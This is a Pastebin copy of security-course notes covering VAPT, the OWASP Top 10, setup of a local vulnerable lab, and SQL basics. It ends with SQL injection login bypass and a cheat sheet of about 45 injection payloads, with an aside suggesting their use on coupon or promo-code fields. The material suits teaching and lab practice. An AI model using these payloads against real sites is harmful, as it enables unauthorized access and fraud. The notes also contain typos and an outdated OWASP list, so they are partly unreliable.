Advertisement
viprajput

Session 9

Jun 14th, 2018
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.72 KB | None | 0 0
  1. Session 9
  2. =========
  3. Introduction to VAPT
  4. ====================
  5. V --> Vulnerability
  6. weekness, loopholes --> Access Points from where an attacker can compromise with your device| Web application
  7. A --> Assessment
  8. To assess ---> To scan for the Vulnerability
  9. P --> Penetration
  10. To penetrate --> To gain access of the device
  11. T --> Testing
  12. To test for vulnerabilities and to generate the report
  13.  
  14. VA and PT
  15. ---------
  16. Vulnerability Assessment
  17. We scan for the loop holes and vulnerabilities, and make a report for the same
  18. Penetration Testing
  19. We try to gain access via above mentioned vulnerabilities.
  20.  
  21. OWASP
  22. =====
  23. Open Web Application Security Project
  24. It is a non profit charitable organisation. which works for the security and the welfare of the web application.
  25. OWASP come up with an initiative ---> CTF Initiative
  26. CTF --> Capture The Flag
  27.  
  28. OWASP TOP 10 Attacks
  29. Injection
  30. XSS --> Cross Site Scripting
  31. CSRF --> Cross Site Request Forgery
  32. IDOR --> Insecure Direct Object References
  33. Sensitive Data Exposure
  34. Invalidated Redirects and Forwards
  35. Mission Function Level Access Control
  36. Security Misconfiguration
  37. Using Components With Known Vulnerability
  38. Broken Authentication and Session Management
  39.  
  40.  
  41. https://www.owasp.org/images/7/72/OWASP_Top_10-2017_(en).pdf.pdf
  42.  
  43.  
  44. Simulated Environment ---> Which are by default vulnerable
  45. LVS --> Lucideus vulnerable Simulation
  46. DVWA --> Damn vulnerable Web Application --> 1.8
  47. WAVE
  48.  
  49. BEEWasp
  50. WebGoat
  51.  
  52. Setup and Configure LVS
  53. =======================
  54. https://ufile.io/o4dwz --> Downloading Link For LVS
  55.  
  56. Step 1 --> To extract the zip file
  57. Step 2 --> Copy the extracted ZIP file in C:\xampp\htdocs
  58. Step 3 --> Start the xampp server
  59. Step 4 --> Start apache and mysql services
  60. Step 5 --> start the browser and type --> 127.0.0.1/<lvs Folder name>
  61.  
  62. DBMS
  63. ====
  64. Database Management System
  65.  
  66. Database --> Collection of data --> It stores data in a tabular manner. In the form of rows and columns.
  67. tuples and attributes
  68. Database --> Tables --> Columns --> Rows(data)
  69. DBA --> Data Base Administrator
  70.  
  71. SQL --> Structured Query Language
  72. =================================
  73. https://www.xyz.com/items.php?id=2
  74. ---> Product name, Product Price
  75.  
  76. Select product_name,Product_price from items where id=2;
  77.  
  78. Source ---> Delhi
  79. Destination --> Jalandhar
  80. Date --> 20/6/2018
  81. Class --> 1T
  82.  
  83. select train_name from trains where source="Delhi" and Destination="Jalandhar" and date="20/02/2018" and class="1T";
  84.  
  85. Queries
  86. =======
  87. 1. Insert
  88. Insert into <table_name>(Column_Name) VALUES(Values to be inserted);
  89.  
  90. INSERT INTO `info`(`Name`, `Salary`, `Address`, `Gen`) VALUES (Prashant, 10000, Roshan Garden Najafgarh, M);
  91.  
  92. 2. Select
  93. Select * from <table_name>;
  94.  
  95. Select * from info;
  96.  
  97. 3. UPDATE
  98. Update <table_name> SET <value to change> where <condition>;
  99.  
  100. UPDATE info SET Salary=30000 where Name="Abhijeet Singh";
  101.  
  102. 4. Where
  103. It is a condition
  104.  
  105. Select * from info where salary > 15000;
  106. Select * from info where name like "A%";
  107.  
  108. 5. Delete
  109. DELETE from info WHERE Name="Abhijeet Singh";
  110.  
  111. 6. AND
  112. SELECT * FROM `info` WHERE salary>=20000 and Gen='M';
  113.  
  114. 7. Create
  115. Create table <table_name>(columns_name data_Type Length);
  116.  
  117. CREATE table training(Name Text(20), Age int(3), Gender Text(1));
  118.  
  119. 8. Order By
  120. It will arrange the data into either ascending order or in descending order
  121.  
  122. SELECT * FROM `training` ORDER BY Name;
  123.  
  124. 9. Group By
  125. To group the data
  126.  
  127. SELECT * FROM `training` GROUP by Gender;
  128.  
  129. 10. UNION
  130. SELECT name from info UNION select name from training;
  131.  
  132. SELECT name,gen,salary,address from info UNION SELECT name,gender,age,null FROM training;
  133.  
  134. 11. Information_schema -->Meta database
  135.  
  136. SQL Injection
  137. =============
  138. Authentication Bypass
  139. ---------------------
  140. To bypass the authentication on any login form and gain teh access as the administrator.
  141. There are 4 types of authentication
  142. 1. Basic Authentication
  143. 2. Integrated Authentication
  144. 3. Digest Authentication
  145. 4. Form Based Authentication
  146.  
  147. Logic Gates
  148. ===========
  149. AND Gate --> If any of the value is false, then the ans will be flase
  150.  
  151. 0 and 0 = 0
  152. 0 and 1 = 0
  153. 1 and 0 = 0
  154. 1 and 1 = 1
  155.  
  156. OR --> If any of the value is true, then the answer will be true
  157.  
  158. 0 or 0 = 0
  159. 0 or 1 = 1
  160. 1 or 0 = 1
  161. 1 or 1 = 1
  162.  
  163. 1 ---> True ---> Administrator
  164.  
  165. ' ---> Single inverted Comma ---> Use to break the SQL query
  166. www.abc.com/items.php?id=2
  167. www.abc.com/items.php?id=2' 1'or'1'='1 '
  168.  
  169. 1'or'1'='1
  170. admin and 1'or'1'='1
  171. select '1'or'1'='1'
  172.  
  173. Username --> 1'or'1'='1 always true
  174. Password --> 1'or'1'='1 always true
  175. Administrator Login
  176. x'or'x'='x ---> true
  177.  
  178. Cupons| Promo Code ---> 1'or'1'='1
  179.  
  180.  
  181. Cheat sheet
  182. ===========
  183. or 1=1
  184. or 1=1--
  185. or 1=1#
  186. or 1=1/*
  187. admin' --
  188. admin' #
  189. admin'/*
  190. admin' or '1'='1
  191. admin' or '1'='1'--
  192. admin' or '1'='1'#
  193. admin' or '1'='1'/*
  194. admin'or 1=1 or ''='
  195. admin' or 1=1
  196. admin' or 1=1--
  197. admin' or 1=1#
  198. admin' or 1=1/*
  199. admin') or ('1'='1
  200. admin') or ('1'='1'--
  201. admin') or ('1'='1'#
  202. admin') or ('1'='1'/*
  203. admin') or '1'='1
  204. admin') or '1'='1'--
  205. admin') or '1'='1'#
  206. admin') or '1'='1'/*
  207. 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
  208. admin" --
  209. admin" #
  210. admin"/*
  211. admin" or "1"="1
  212. admin" or "1"="1"--
  213. admin" or "1"="1"#
  214. admin" or "1"="1"/*
  215. admin"or 1=1 or ""="
  216. admin" or 1=1
  217. admin" or 1=1--
  218. admin" or 1=1#
  219. admin" or 1=1/*
  220. admin") or ("1"="1
  221. admin") or ("1"="1"--
  222. admin") or ("1"="1"#
  223. admin") or ("1"="1"/*
  224. admin") or "1"="1
  225. admin") or "1"="1"--
  226. admin") or "1"="1"#
  227. admin") or "1"="1"/*
  228. 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement